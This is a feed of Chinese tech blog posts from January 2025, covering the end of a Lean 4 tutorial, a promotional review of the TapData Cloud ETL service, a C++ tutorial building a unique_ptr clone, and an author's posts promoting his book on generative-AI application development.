同时,我们还学习了引入巨大的Mathlib4库,来支持更面向数学的功能。

通篇不用说定理证明了,连函数式编程的内容都基本没有提到,尽管用到了Monad,但是也是为了支持副作用。

到此为止,大家应该对于Lean 4祛魅了一些,不再觉得它是一个高不可攀的定理证明器,而是一个可以用来写实际程序的编程语言。唯一的困难是不熟悉,这通过大家实际编程应该很快可以解决。

下一节我们仍然不谈深入的话题,而是进一步讲解Lean 4的普通编程语言特性。

by 旭伦 at January 24, 2025 03:55 PM

实评实测 | ETL 行业也够卷,云化 ETL,ETL 软件不过了

文章来源于:AustinDatabases,作者:liuaustin3

在数据管理中,“提取(Extract)、转换(Transform)、加载(Load)”是高效数据集成解决方案的支柱。正确的 ETL 工具可以将来自多个数据源的大量不同数据转化为滋养企业自主洞察分析能力的土壤。作为以低延迟数据移动为特色的实时数据集成工具,TapData 提供了 Cloud 以及 On-Prem 两种部署方式。本篇内容由 AustinDatabase 提供,内容围绕 TapData Cloud 的实测展开,希望能为大家提供更多角度的参考。

最近忙,更新率低了,今天说说其中的一个原因,最近和业内的 ETL 方面的更新的技术在进行学习,之前一些 ETL 的观念在这次的学习中,也彻底被更新了,这是整个的学习过程进行一个记录,每天都是新知识,每天都是崭新的。

在 ETL 数据传输和数据处理中,我们习惯使用的方法多是 Kettle,otter,canal,ogg 这样的数据迁移 ETL 软件。可时代变迁了,再用这些软件在很多场合已经不合时宜了。尤其是短平快的需求下,我实在是没有精力时间去研究这些东西,还要进行数据库对应的配置,而最近赶时髦,用上了云迁移的 ETL 软件,TapData Cloud,非常神奇的软件,如果要我用一句话来概括,彻底让我了解到现在的 ETL 是什么样子,或者该是什么样子,和之前的那些傻大笨粗已经毫无关系。

废话不说,马上进行测试。打开 tapdata.net/ 网站,点击 cloud 。

通过这个软件我两分钟内我就配置好了一个从 PolarDB 到 PolarDB 的数据流复制。

大家见上图数据已经开始进行了同步,非常的便捷,这里我简单的介绍一下,TapData 云 ETL,这个免费的工具可以干点什么。

1 云免费 ETL 可以进行各种开源数据库到国产数据库的同步,你知道的国产数据库基本都在支持列表

2 使用者根本不关心配置,因为都是自动的,我可以专心的搞我的数据库,复制的监控和过程都由 TapData 云来负责。

3 核心的数据不会经过 TapData 而是你自建的主机,让使用者完全不用担心数据的安全性的问题。

有了这个功能,基本上数据迁移的过程上步骤

1 云注册账号

2 开通免费的服务

3 安装好 agent

4 配置好本地和远程的连接

5 工作完毕

这个服务可以把数据从 MySQL , PostgreSQL ,Sql Server, Oracle 往国产数据库搬运,这里需要说明如果是企业性质可以开通收费的服务,他将提供更多的功能,服务等。

这里有官方的付费方式

这里我小声说一句,如果实在是不想花钱,还想要高性能,自己可以用自己的服务器利用 TapData 管理数据传输,比如我现在就是这么干的,我需要从 PolarDB 传输数据到另一个 PolarDB,数据量不大,TapData 可以直接将服务的 agent 自动安装在我的笔记本上,然后我就开始远程将一个 PolarDB 的数据,传输到另一个 PolarDB 上。在默认的情况下,简单的数据传输迁移,TapData 是不收费的。

操作界面异常的简单,源目的地,选择连接到你的数据库上,本地、远程、云均可,TapData 对于数据库的 ETL 是“不挑食的”。

关于大部分人可能担心自己安装 Agent 到服务器上的难度,这里可以看此页面,非常简单,支持 LINUX、WINDOWS、Docker、云上部署服务器等方式。同时你自己还可以通过云来监控你自己的 ETL 服务器,可以通过手动来启动自己的服务器的上的 ETL 服务,这里我简单的画一个图。

在建立好 Agent 后,我们就可以建立源库和目的库的链接测试了,在测试通过后,就直接可以进行数据库的传输了。

由于过程太简单,我就不叙述了,如同打开冰箱门,把大象塞进去,然后再关上门那么简单,如果我再详细叙述,是对看文章的人的不尊重。

工作到这里,我突然意识到一个问题,在之前各种本地安装,调试,各种问题的 ETL 的软件的生命历史中,他们意识到现在的 ETL 软件已经可以云化了吗,作为一个对新产品不拒绝,不挑食的 IT 工作者,我觉得我在 ETL 探索更先进了,这 ETL 使用的方式太简单了,这里我先看官方文档中详细的一些产品的介绍,看完介绍,在将一些疑问总结起来在和 ETL 方面的专家进行快速学习。

by Tapdata at January 24, 2025 03:37 PM

juejin article

【C/C++】手写一个std::unique_ptr

我们先写一个简单的MyUniquePtr类,它可以实现最基本的"裸指针所有权转移"。以及我们测试智能指针用的测试类Point

class Point {
 private:
     int x_, y_;
 
 public:
     Point(int x, int y) : x_(x), y_(y) {
         std::cout << "a new point is created: 0x" << this << std::endl;
     }

     ~Point() {
         std::cout << "a point is deleted: 0x" << this << std::endl;
     }

     void Print() const {
         std::cout << "Point(" << x_ << ", " << y_ << ") 0x" << this << std::endl;
     }
};
template <typename T>
class MyUniquePtr {
 private:
     T* ptr_;

 public:
    MyUniquePtr() : ptr_(nullptr) {}

    explicit MyUniquePtr(T* ptr) : ptr_(ptr) {}

    MyUniquePtr(MyUniquePtr& other) : ptr_(nullptr) {
        Reset(other.Release());
    }

    ~MyUniquePtr() {
        Reset();
    }

    // Reset语义:
    // 释放持有裸指针所指向的内存,并使智能指针管理另外一个裸指针。
    void Reset(T* new_ptr = nullptr) {
        // 简单起见,我们这里直接认为new_ptr和原ptr相等是非法操作。
        assert(ptr_ == nullptr || ptr_ != new_ptr);

        if (ptr_) {
            delete ptr_;
        }
        ptr_ = new_ptr;
    }

    // Relase语义:
    // 放弃智能指针对其所持有裸指针的控制权,但不会释放该裸指针所指向的内存
    T* Release() {
        T* old_ptr = ptr_;
        ptr_ = nullptr;
        return old_ptr;
    }

    MyUniquePtr& operator=(MyUniquePtr& other) {
        Reset(other.Release());
        return *this;
    }
};

接下来,我们重载一下*->运算符,让MyUniquePtr的行为看上去更像一个指针:

    T& operator*() const {
        return *ptr_;
    }

    T* operator->() const {
        return ptr_;
    }

现在一切看上去都很不错,写个代码测试一下: image.png

不过真的就这么简单?其实不然,虽然我们重载了MyUniquePtr的拷贝构造函数和赋值函数,看似实现了"对裸指针控制权进行转移"的需求,但这种方式可能会使得我们程序的行为看上去十分令人困惑。

这是因为拷贝构造(赋值)函数的语义从源对象中复制一份数据给新对象,因此从常理上来说我们不应该去变更源对象的任何属性。

例如下面这个令人困惑的例子:

void DoSomething(MyUniquePtr<Point> q) {
    q->Print();
}

int main() {
    MyUniquePtr<Point> p(new Point(1, 2));
    DoSomething(p);
    p->Print();  // Crash!!!
}

从代码语义上来讲,我们显然期望DoSomething函数中的智能指针q是main函数中p的一个副本(当然这是unique智能指针在功能定义上所不允许的),然而事实却是q夺走了p所管理的裸指针的控制权,并在DoSomething函数退出后直接释放掉了该裸指针所指向的内存。

这也是早期C++标准中std::auto_ptr所存在的比较严重的问题。现在该智能指针已经从语言标准中被移除了。

于是乎,重载拷贝构造(赋值)函数的方法肯定是不能用了。为了从根本上避免造成混乱,我们这里就直接把它们给禁用掉:

MyUniquePtr(MyUniquePtr&) = delete;
MyUniquePtr& operator=(MyUniquePtr&) = delete;

但同时我们又需要实现"转移裸指针"控制权的需求,因此就借助C++的移动构造函数和移动赋值函数来取而代之:

MyUniquePtr(MyUniquePtr&& other) noexcept : ptr_(nullptr)  {
    Reset(other.Release());
}

MyUniquePtr& operator=(MyUniquePtr&& other) noexcept {
    Reset(other.Release());
    return *this;
}

经过如上修改之后,我们在转移对裸指针控制权时,代码就可以写成这样:

// 这里我们并不希望夺取传入智能指针的控制权,只想通过它来访问真正的对象。
// 因此这里直接写一个引用就行了。
void DoSomething(MyUniquePtr<Point>& p) {
    p->Print();
}

int main() {
    MyUniquePtr<Point> p(new Point(1, 2));
    MyUniquePtr<Point> q = std::move(p);
    MyUniquePtr<Point> r;

    q->Print();

    r = std::move(q);
    r->Print();

    DoSomething(r);
}

我们实现的智能指针也可以被放到容器中进行管理,这是没有任何问题的:

int main() {
    MyUniquePtr<Point> a(new Point(3, 4));
    MyUniquePtr<Point> b(new Point(5, 6));
    std::vector<MyUniquePtr<Point>> vec;
    vec.push_back(std::move(a));
    vec.push_back(std::move(b));

    for (const auto& ptr : vec) {
        ptr->Print();
    }
}

从代码语义上来看,移动语义表示的是将自己的资源转让给别人,而不是复制一份给别人。对应到我们的智能指针,我们所希望实现的需求是将自己对裸指针的控制权转让给别人,符合移动语义。由此可见这里我们的修改方案是合理的,同时这也是C++标准中std::unique_ptr所采用的方案。

到这里我们手写的std::unique_ptr已经基本完成了。还有一些细节可以进一步完善一下。

比如我们可以添加一个用于获取智能指针所管理的裸指针的工具方法:

    T* Get() const {
        return ptr_;
    }

又比如,我们可以重载将智能指针对象显式转换为布尔值的函数。

    explicit operator bool() const {
        return ptr_ != nullptr;
    }

这让我们的智能指针的行为看上去更像一个普通的裸指针:

int main() {
    MyUniquePtr<Point> p(new Point(1, 2));
    p.Reset();
    // if语句(以及三目表达式)具备显式将对象转换为布尔值的功能!
    if (p) {
        std::cout << "p isn't nullptr." << std::endl;
    }
    else {
        std::cout << "p is nullptr." << std::endl; // 输出这里!
    }
}

最终的完成代码如下:

template <typename T>
class MyUniquePtr {
 private:
     T* ptr_;

 public:
    MyUniquePtr() : ptr_(nullptr) {}

    explicit MyUniquePtr(T* ptr) : ptr_(ptr) {}

    MyUniquePtr(const MyUniquePtr&) = delete;

    MyUniquePtr(MyUniquePtr&& other) noexcept : ptr_(nullptr)  {
        Reset(other.Release());
    }

    ~MyUniquePtr() {
        Reset();
    }

    // Reset语义:
    // 释放持有裸指针所指向的内存,并使智能指针管理另外一个裸指针。
    void Reset(T* new_ptr = nullptr) {
        // 简单起见,我们这里直接认为new_ptr和原ptr相等是非法操作。
        assert(ptr_ == nullptr || ptr_ != new_ptr);

        if (ptr_) {
            delete ptr_;
        }
        ptr_ = new_ptr;
    }

    // Relase语义:
    // 放弃智能指针对其所持有裸指针的控制权,但不会释放该裸指针所指向的内存
    T* Release() {
        T* old_ptr = ptr_;
        ptr_ = nullptr;
        return old_ptr;
    }

    T* Get() const {
        return ptr_;
    }

    T& operator*() const {
        return *ptr_;
    }

    T* operator->() const {
        return ptr_;
    }

    MyUniquePtr& operator=(const MyUniquePtr&) = delete;

    MyUniquePtr& operator=(MyUniquePtr&& other) noexcept {
        Reset(other.Release());
        return *this;
    }

    explicit operator bool() const {
        return ptr_ != nullptr;
    }
};

by PAK向日葵 at January 24, 2025 02:42 PM

juejin career

普通程序员如何签约出版一本书籍

大家好,我是祯民

2023 - 2024年间我在工作之余写了一本 AI 应用类的书籍,书名为《生成式AI应用开发:基于OpenAI API实现》,将于今年年后(2025.2)在清华大学出版社出版,很高兴能和大家这个消息~

现在还在封面选定的阶段,大家看看哪个封面比较好看,可以在评论区说说你的宝贵意见和想法,大家的想法我都会汇总给出版社的编辑老师们,一起决定封面的风格~!

image.png

本书还有一个读者群,里面有各路大咖、资深工程师和清华大学出版社的编辑老师们,感兴趣的同学可以在评论区留言,或者后台私信阿民提前加读者群,大家可以互相讨论不限于 AIGC 的各类技术、职业发展问题,定期群里还会有技术文档、面试总结等福利分享给大家,欢迎来撩~ 如果你对这本书的内容感兴趣,欢迎阅读 两年工作之余,我在清华大学出版社出版了一本 AI 应用书籍

image.png

除了分享内心的喜悦外,也想借这个机会沉淀一下写书两年对我带来的成长和收获,以及从我的角度来看,普通人如何写一本书,希望对大家有帮助!

程序员写书有什么好处

锻炼更好的语言表述能力

我接触过不少开发同学,技术过硬,为人也有很有身为工程师的技术热情,写出来的代码不仅严谨且符合设计模式,但是一到写技术文档或者答辩分享的时候,写的内容就会很乱,也没办法用有逻辑的语言自洽地表达出来。

这种对于职业的发展其实是非常吃亏的,在很多公司里高阶的岗位都有对语言组织表达的要求。工程师不仅需要关注技术,也需要有良好与人协作以及介绍自己方案的能力。

image.png

尤其是在晋升答辩的时候,你需要在尽可能短的时间内,用逻辑清晰、易懂的方式帮助不懂你业务、甚至已经疏于技术的评委理解你方案的重难点与优势。

我真的为周围不少类似情况的同学着急,明明自己技术过硬,但是因为表达的问题丧失了很多更进一步的机会,他们大多都问过我类似的问题:

阿民, 怎么才能自洽地说出自己的方案逻辑呢

其实我原来也是一个很 I 的人,不敢说,也说不出来,甚至连写都没办法让逻辑清晰,读者接受,想了解更多阿民情况的同学,可以阅读 阿民的字节终唱

那我是怎样尽力去克服 I 的性格,提高自己的说写能力的呢?

image.png

其实就是多说多写,熟能生巧,但这里的多说多写不是说堆量,而是需要加入日常的反思的。比如你发了一篇文章, 要多站在一个不熟悉背景,不理解技术的人的角度上看:

  • 他能否读懂
  • 他能否愿意读下去
  • 他能收获什么

当然这个过程有很多写作的技巧,如果大家感兴趣,我后面专门梳理一篇文章介绍,如何写一篇让人看得懂且愿意读的文章。

一本书是大量易懂、引经据典的文档汇总,不仅对单篇文章质量有高要求,而且对文章之间的联系和整体内容的连贯性都会有关注,对于工程师而言,这是非常大的一个挑战,不仅是技术上的,更是语言组织上的巨大锻炼。

技术影响力 & 面试的初步认可

发好的文章和写书都很容易建立技术影响力,好的文字之间是可以产生良性交流、建立人与人信任的。一方面可以结识更多有趣的人,另一方面,功利地说,可以让你有更多的工作机会。

参与过面试的同学应该会清楚一个点,有时候面试失败和你的个人能力关系不大,面试是一个随机且由上往下的过程,很难真正做到绝对意义上的平等技术交流。

面试官是否信任你,是否能建立良好的印象决定了这次面试是否通过的大部分因素,其次才是技术能力。当然这里并不是说技术基础不重要,而是它不是唯一的变量,你需要付出的更多的成本来获取面试官的初步信任,包括但不限于:

  • 八股文
  • 算法

在面试期间非常短的时间内,如果你的项目本身并没有太多挖掘点,面试官只能通过这些方式来挖掘你的亮点,这也是八股文和算法一直被吐槽,但又不得不作为面试的主要内容原因。

而发过文章、持续沉淀、甚至写过书的同学在面试过程很容易建立初步的信任和好印象,因为这些额外的事情已经是你的背书和证明了,建立初步信任后,你可以有更多的空间表现自己、说你感兴趣的点、建立尽可能平等的面试沟通环境

应对35岁危机,优质副业选择

中国互联网大环境很容易面临 35 岁失业,有两个原因:

  • 就业人数太多了,资深 IC 和 Leader 的需求不会那么多
  • 中国互联网大环境并不需要那么多技术深广度拉满的人,这个被称为技术溢价。

比如你的技术是 80 分,但企业需要的是 40 分,多出来的 40 分就是溢价,市场不一定会为溢价的部分买单。

所以考虑以后的副业问题就非常重要了,写书赚不到很多钱,但至少可以维持基本的生活。而且很多的技术同学也是有写文档方案的习惯的,如果像阿民一样不反感写文章甚至是兴趣爱好的一环,是副业的一个不错选择,因为没有太多的迁移和适应成本。

普通人如何写一本书

持续的技术沉淀

写书有一个误区是,它不是一个突然从零到一的过程,而是日常信息的积累、然后汇总和成体系化的过程。如果给我一个目标,让我在没积累的情况下从零写 40w 字的一本书出来,我真的会发疯。。。

image.png

这几年我一直有个习惯,我每天一定会花 2 - 3 个小时的个人时间看感兴趣的文档并进行一些文字沉淀,这些沉淀不局限于技术,也包含认知想法,可能是工作中的,也可能是临时学的。

这些文字的沉淀我并不会用很良好的逻辑来组织,更多是标记式,给我自己看的,并不会发布到外部。当我打算发一篇文章,写一本体系化书籍或者做一个技术方案的时候,我就会从我沉淀的那些零碎知识库里挑选、汇总并沉淀为可阅读的文章。

所以日积月累的沉淀和思考对我是非常重要的一个习惯,也为我写下这本书提供了很多帮助。

文章外发应该宁缺毋滥

最近一段时间,我越来越意识到,文章的外发应该宁缺毋滥,因为外发的文章就应该是给别人看的,能帮助到大家的。文章凑量毫无意义,因为是在消费自己之前积攒下来的声誉和信任。

写一本书对信任的要求更高,因为缺失信任你很难通过出版社的面试。每一篇我外发的文章,信息收集、语言组织、校准检查都花费了至少 4 个小时,并且在反复阅读满意后才会外发。

出版社的面试

出书分两种,花钱 or 不花钱的,不花钱的出书需要向出版社投稿,或者获得出版社的签约。我是在确认签约之后再开始撰稿的,与掘金小册之类的电子书籍不同,纸质书籍是存在出版成本的,而出版社是需要保证获益的,所以对于不花钱的签约出书需要通过出版社的面试:

  • 这本书想写什么,大纲章节设计
  • 市场上是否有同类型书籍,这本书与同类型书籍的差异在哪里,是为了解决什么问题
  • 这本书面向的用户群体是谁,为什么你会觉得他们会选择你这本书

经过一个多月紧张刺激的面试审核流程,最终的选题也是通过了~

image.png

更多的个人时间投入 & 持久战的心理预期

不过签约才只是开始,纸质书有更多的字数和内容要求,且对排版、内容、格式都会更加严格,从 2023.11 开始,我一直写到了 2024.10 ,因为还负责对应的业务和技术建设的推进,所以这段时间真的很忙,差不多节奏是:

  • 早上 7:00 - 10: 00 看技术文献、写稿子、写示例代码
  • 10: 30 - 21: 30 处理工作
  • 10:00 - 12:00 整理早晨的稿件格式,或者继续未完成的部分
  • 没有周末,看文章、写稿、写代码

交稿后紧接着又是逐字逐句的改造,这个更加严格,第一轮改稿下来几乎重写了一遍,整个改稿确认样式的过程又持续了几个月,改完稿件后还要找一些专家老师们帮忙写序,也可能被专家老师们拒绝,要能说清楚这本书的亮点是什么。

除此之外,还有出版社必须的一些流程耗时,比如书号申请,封面设计等,又是几个月的时间。

所以当决定开始写书以后,就要有大量时间投入的预期,要耐得住寂寞,持续鼓励自己,相信自己,直到事情被做成~

平常心对待,不要以赚钱为第一预期

赚钱算是副产品,写书除非畅销书籍,其实赚不到多少钱,就和直播一样,有网红大富大贵,但大部分群体也只是冒个泡。如果以赚钱为写书第一预期,对我自己而言,真的很难坚持下来,还是要以平常心对待,顺其自然。

by 祯民 at January 24, 2025 01:52 PM

两年工作之余,我在清华大学出版社出版了一本 AI 应用书籍

大家好,我是祯民

2023 - 2024年间我在工作之余写了一本 AI 应用类的书籍,书名为《生成式AI应用开发:基于OpenAI API实现》,将于今年年后(2025.2)在清华大学出版社出版,很高兴能和大家分享这个消息~

现在还在封面选定的阶段,大家看看哪个封面比较好看,可以在评论区说说你的宝贵意见和想法,大家的想法我都会汇总给出版社的编辑老师们,一起决定封面的风格~!

image.png

这本书的一些信息

本书的初衷

清华大学出版社《生成式AI应用开发:基于OpenAI API实现》- 前言

本书有哪些内容 & 适合哪些同学

清华大学出版社《生成式AI应用开发:基于OpenAI API实现》- 内容安排

行业专家们怎么看这本书

我共邀请了六位来自不同行业方向的专家老师写序,以死月老师的为例:

清华大学出版社《生成式AI应用开发:基于OpenAI API实现》- 死月老师推荐序

我还能为大家做点什么

因为 AI 迭代方向很快,坦诚地说,这本书不可能一直具备时效性,所以我在想除了这本书外,我还能为大家做些什么,帮助在 AI 新时代能更快地融入并有一席之地。

书的样章

除了上述的本书原文信息外,我还会摘录 1- 2 章节的内容,尽可能简明地精炼后作为样章提供给大家,尽我所能帮助大家了解全书的全貌,以判断该书是否适合自己

TRAE 应用的掘金小册

年后我会在掘金上线一本小册《Trae 从入门到实践:AI 编码的妙笔生花》,介绍 AI 生态的新进展,以 Trae 为突破口,介绍如何介入新的 AI 编程时代。这本小册会免费开放给大家,作为补充章节提供给各位同学更多的思路和想法。

image.png

更多不限于 AIGC 方向的技术、想法交流

本书还有一个读者群,里面有各路大咖、资深工程师和清华大学出版社的编辑老师们,感兴趣的同学可以在评论区留言,或者后台私信阿民提前加读者群,大家可以互相讨论不限于 AIGC 的各类技术、职业发展问题,定期群里还会有技术文档、面试总结等福利分享给大家,欢迎来撩~

by 祯民 at January 24, 2025 01:29 PM

《生成式AI应用开发:基于OpenAI API实现》- 内容安排

更多内容见:两年工作之余,我在清华大学出版社出版了一本 AI 应用书籍

大家好,我是祯民

2023 - 2024年间我在工作之余写了一本 AI 应用类的书籍,书名为《生成式AI应用开发:基于OpenAI API实现》,将于今年年后(2025.2)在清华大学出版社出版,很高兴能和大家分享这个消息~

现在还在封面选定的阶段,大家看看哪个封面比较好看,可以在评论区说说你的宝贵意见和想法,大家的想法我都会汇总给出版社的编辑老师们,一起决定封面的风格~!

image.png

本书还有一个读者群,里面有各路大咖、资深工程师和清华大学出版社的编辑老师们,感兴趣的同学可以在评论区留言,或者后台私信阿民提前加读者群,大家可以互相讨论不限于 AIGC 的各类技术、职业发展问题,定期群里还会有技术文档、面试总结等福利分享给大家,欢迎来撩~

本文是本书的内容安排原文,介绍了本书的适用同学和章节信息,供大家参考!

正文

目前国内现有的AI方向图书中更多的是ChatGPT的日常应用和大语言模型(Large Language Model,LLM)的精调,生成式AI应用的开发和落地还比较缺乏,本书的初衷就是希望可以弥补这一空白。

本书的重点是生成式应用的开发,也就是与AI相关的应用层。在实际的生成式AI应用开发中,虽然思路是可以共通的,但的确不同的载体和环境有一定的前置开发功能要求。比如本书的生成式AI应用开发中,涉及Node.js环境、浏览器环境、VSCode Host环境,虽然在每节开发过程中,会介绍一些开发相关的前置知识,但因为具体环境的开发功能不是本书重点,所以没办法面面俱到地详细介绍。

所以本书更适合有一定开发基础、使用过或者熟悉JavaScript和Python语言最佳,对开发环境和工具链有一些基础认知,同时对AI生成式应用感兴趣愿意深入的用户。对于完全没有开发经验且从零基础开始的用户来说,在学习过程中可能会遇到一些技术难题和信息不对称的问题,这可能会导致他们的学习曲线变得不平滑,甚至感到相当费劲。

本书的全部代码示例都会上传到网上,大家可以自行拉取结合章节内容调试学习加深印象。并且一些实际应用类的项目也会发布到对应平台,真正落地产生价值,借此希望给大家带来一个尽可能真实的项目学习体验,而非仅是一些纸上谈兵的示例。

回到正题,本书的正文部分由9章组成,具体的章节安排如下图所示。

image.png 第1章就是本书的绪论,让大家对生成式AI应用开发能有一个整体的认知。

第2章详细学习OpenAI API的细节,使用官方请求库去完成ChatGPT的请求,并且还会封装一个同类型请求库加深理解,这个库也会作为后续章节请求的基底。

第3章学习生成式应用中的基础应用ChatGPT,我们会从零实现一个类ChatGPT应用,并了解如何在实现ChatGPT的基础上泛化不同的角色应用,比如写作大师、在线医生、剧本杀、歌词续写等热门方向是如何搭建的。

第4章会结合飞书开放平台集成AI模型功能到飞书机器人,通过本章的学习,我们可以举一反三,将AI功能融入到日常工作学习的聊天中,同样的原理,我们也可以集成到微信小程序、企业微信、钉钉等交互平台中。

第5章和第6章会将AI融入到日常开发阶段中,通过开发VSCode插件的形式,为IDE赋能。不仅是个人开发提效,也能帮助到社区千千万万的开发者,同时这在互联网大厂中也有广泛的应用和工作岗位,对提升用户的市场竞争力很有帮助。其中第5章为VSCode插件开发的一些前置学习,第6章为AI代码辅助场景的一系列应用实战案例。

第7章将不局限于OpenAI API的使用,会深入学习开源模型社区Hugging Face,并实践如何对一个开源模型进行私有化部署和微调训练。通过本章的学习,相信大家对模型的私有化部署和精调训练会有更全面的认知,也具备使用、精调除GPT以外的不同类别模型满足实际业务场景特殊需求的能力。

第8章会学习检索增强生成技术RAG,在实际的大语言模型应用中,除了模型内置的功能外,可能还会有一些业务的文档需要模型能够借鉴,这些文档全量给模型体量过大,作为微调数据集体量又太小,成本性价比也不高,这种场景就需要对文档进行向量化和相似度匹配,进而充实Prompt,达到通过对向量知识库检索相似信息进而增强生成功能的目的。

第9章会深入Prompt Engineering,了解如何询问模型,组织优化Prompt可以拿到更有价值的答案,同时也会对目前的社区生态进行介绍,涵盖了主流的国内大模型和AI搭建应用平台Coze的相关知识点。通过本章的学习,将可以对常规开发模式外的一些调优手段、社区建设有更深入的了解,从而更高效高质量地开发复杂的生成式AI应用。

希望本书能成为大家在AGI新时代学习探索的起点,具备开发生成式AI应用的能力以及对整个AI生态产生一个全局广阔的视角。

by 祯民 at January 24, 2025 01:06 PM

《生成式AI应用开发:基于OpenAI API实现》- 死月老师推荐序

更多内容见:两年工作之余,我在清华大学出版社出版了一本 AI 应用书籍

大家好,我是祯民

2023 - 2024年间我在工作之余写了一本 AI 应用类的书籍,书名为《生成式AI应用开发:基于OpenAI API实现》,将于今年年后(2025.2)在清华大学出版社出版,很高兴能和大家分享这个消息~

现在还在封面选定的阶段,大家看看哪个封面比较好看,可以在评论区说说你的宝贵意见和想法,大家的想法我都会汇总给出版社的编辑老师们,一起决定封面的风格~!

image.png

本书还有一个读者群,里面有各路大咖、资深工程师和清华大学出版社的编辑老师们,感兴趣的同学可以在评论区留言,或者后台私信阿民提前加读者群,大家可以互相讨论不限于 AIGC 的各类技术、职业发展问题,定期群里还会有技术文档、面试总结等福利分享给大家,欢迎来撩~

本文是死月老师的推荐序原文,供大家参考!

正文

因果之链中的每一环,皆是历史的延续。2010年,一群自然语言处理的探索者揭示了一条道路:原来,文本的海洋深处蕴藏着比那些自上而下的语法规则更为深刻的模型秘密。2014年,他们再次将词汇置于上下文的灯光下,让机器学会解析语言的深层含义。

时间推移,2017—2022年间,探索者们不满于初步的成功,开发出了可根据需求定制的基础模型。尽管这些模型的开发成本高昂,但一旦成型,它们便能灵活应对新挑战,大幅降低投入。2022年,ChatGPT横空出世,如平地惊雷,其卓越不仅体现在核心的先进模型上,还在于它通过自然语言对话让人们轻松访问这些强大的功能。

一系列技术突破赋予了自然语言处理前所未有的意义,而这些,正是生成式AI的基础。

这是一条横向时间轴:2010年近乎完美的自然语言翻译;2014年掌握单词的含义;2017—2022年大语言基础模型;2022年会话式大语言基础模型。

生成式AI从现有数据中学习,能够大规模生成逼真的新内容。它生成的内容具备训练数据的特征,但不简单重复原数据。如今,生成式AI已能生成图像、视频、音乐、语音、文本、代码以及产品设计等多种形式,不论是在科学发现、技术商业化方面,还是在创意内容、内容改进、合成数据、生成工程与设计领域,均展现出广泛的应用前景。

我相信,生成式 AI 将成为一种与蒸汽机、电力和互联网具有类似影响的通用技术。到2026年,生成式设计AI将自动化60%的新网站和移动应用设计工作。祯民的这本书恰逢其时,在这一波大潮来临前,梳理了他独到的见解,帮助我们在新变革到来之时做好准备。

至于我为何如此押宝生成式AI,其一是在筛选通过各种渠道获取的信息后做出的判断;其二是在工作之余,自己也进行了多次尝试;其三是我确实看到了一位Swift零基础的网友,通过生成式AI在短时间内上架了一款“美化自拍照肌肉”的iOS应用。据他所说,99%的代码由AI生成,至于他使用的是什么工具,我便不得而知了。

本书中也介绍了检索增强生成(RAG)技术如何通过文本向量化和向量数据库来增强模型的生成能力,这为解决某些特定场景下模型内建知识不足的问题提供了有效的方案。此外,本书还深入探讨了提示词工程,这是一种优化与AI模型交互的技术手段,使得模型的响应更加精确和有效。

我自己写过书,也翻译过书,深知沉淀一本书的不易。这是作者倾尽心力、引经据典、刨根问底,最终呈现给读者的结晶。本书的独特之处在于,它不仅介绍了如何使用生成式AI,还深入分享了生成式AI应用开发的全过程,从GPT的发展历程到OpenAI API的实际应用,再到生成式应用的开发实例,内容充实而富有实践意义。这本书必将为读者提供重要的帮助,使更多想要涉足AI领域的人少走弯路。

祯民在前言中提到,“与其称AI为一个行业风口,笔者倒更想大胆地判断为第五次工业革命。”这一观点切中要害,我也是如此认为的。AI作为社会发展的重要动力,其影响力已逐渐超越传统行业的边界,成为未来不可或缺的基础设施。无论是对于互联网行业的从业者,还是对于那些怀抱创业梦想的个人,掌握生成式AI应用开发的能力,必将在未来的竞争中占据一席之地。

死月,《软件开发珠玑》译者、字节跳动技术专家、Node.js Collaborator

2024 年 10 月于金塘

by 祯民 at January 24, 2025 12:57 PM

《生成式AI应用开发:基于OpenAI API实现》- 前言

更多内容见:两年工作之余,我在清华大学出版社出版了一本 AI 应用书籍

大家好,我是祯民

2023 - 2024年间我在工作之余写了一本 AI 应用类的书籍,书名为《生成式AI应用开发:基于OpenAI API实现》,将于今年年后(2025.2)在清华大学出版社出版,很高兴能和大家分享这个消息~

现在还在封面选定的阶段,大家看看哪个封面比较好看,可以在评论区说说你的宝贵意见和想法,大家的想法我都会汇总给出版社的编辑老师们,一起决定封面的风格~!

image.png

本书还有一个读者群,里面有各路大咖、资深工程师和清华大学出版社的编辑老师们,感兴趣的同学可以在评论区留言,或者后台私信阿民提前加读者群,大家可以互相讨论不限于 AIGC 的各类技术、职业发展问题,定期群里还会有技术文档、面试总结等福利分享给大家,欢迎来撩~

本文是本书的前言原文,写了本书的初衷,供大家参考!

正文

自2023年初ChatGPT问世以来,以生成式模型为代表的人工智能(AI)行业受到了人们的极大关注。截至2024年年底,AI行业发展迅猛,日新月异。全球针对AI行业的投资也远超其他行业,可以说是近几年人类社会最为关注的一个领域。与其他行业的变革不同,AI的发展并不局限于本行业,而是逐渐渗透到全球各个行业,慢慢成为成为国力竞争的重要因素。如此规模,与其称AI为一个行业风口,笔者倒更想大胆地判断为——第五次工业革命。

生成式AI应用从广义上来说包括3个方向:使用AI应用、基底模型训练以及生成式AI应用开发。其中基底模型训练储备了生成式AI应用底层使用的模型,例如ChatGPT底层的GPT系列模型;而生成式AI应用开发则是使用基底模型,通过一定的开发手段和机制将模型能力融合到应用中,并最大可能地发挥基底模型的能力。

目前市面上AI相关的图书大部分介绍的是使用AI应用,例如怎么使用ChatGPT写文章,如何组织Prompt等,少部分图书则介绍了基底模型训练。前者内容比较浅显,很容易被替代且不具备时效性,而后者有较高的门槛,更适合专业算法从业人员阅读。对于承上启下,既兼容前两者的内容,又详细介绍各式生成式AI应用开发的图书,市面上还比较欠缺。本书希望可以补全这部分资料的欠缺,帮助更多想从事AI行业的人员入门这个领域。

这里简单介绍一下本书的写作背景。笔者算是国内最早一批尝试生成式AI应用开发并落地拿到成果的编程人员,目前在字节跳动抖音业务线任职前端工程师,那么笔者是怎么接触到生成式AI应用的呢?

在2022年11月,出于个人兴趣以及对代码质量的追求,上笔者在网站上写了一本关于单元测试的电子书《前端单元测试精讲》,之后开始尝试为团队落地单元测试。落地期间遇到了不少卡点,主要卡点在于程序员编写代码测试的时间成本较高,在排期紧张且频繁迭代的情况下落地困难。

后面笔者开始尝试使用一些自动化的手段来生成单元测试,比如代码静态分析、注入监听插槽等手段,从而免去程序员手写单元测试的苦恼,但效果一直不尽如人意。因为单元测试代码虽然有规律可循,但面对的场景众多,存在着较高的复杂度。

这个问题困扰了笔者很久,直到2023年3月,ChatGPT的横空出世给了笔者新的灵感。经过尝试后发现,虽然ChatGPT的生成内容还有瑕疵且不够稳定,但是作为单元测试生成的初稿效果非常好,几乎达到开箱即用的程度。

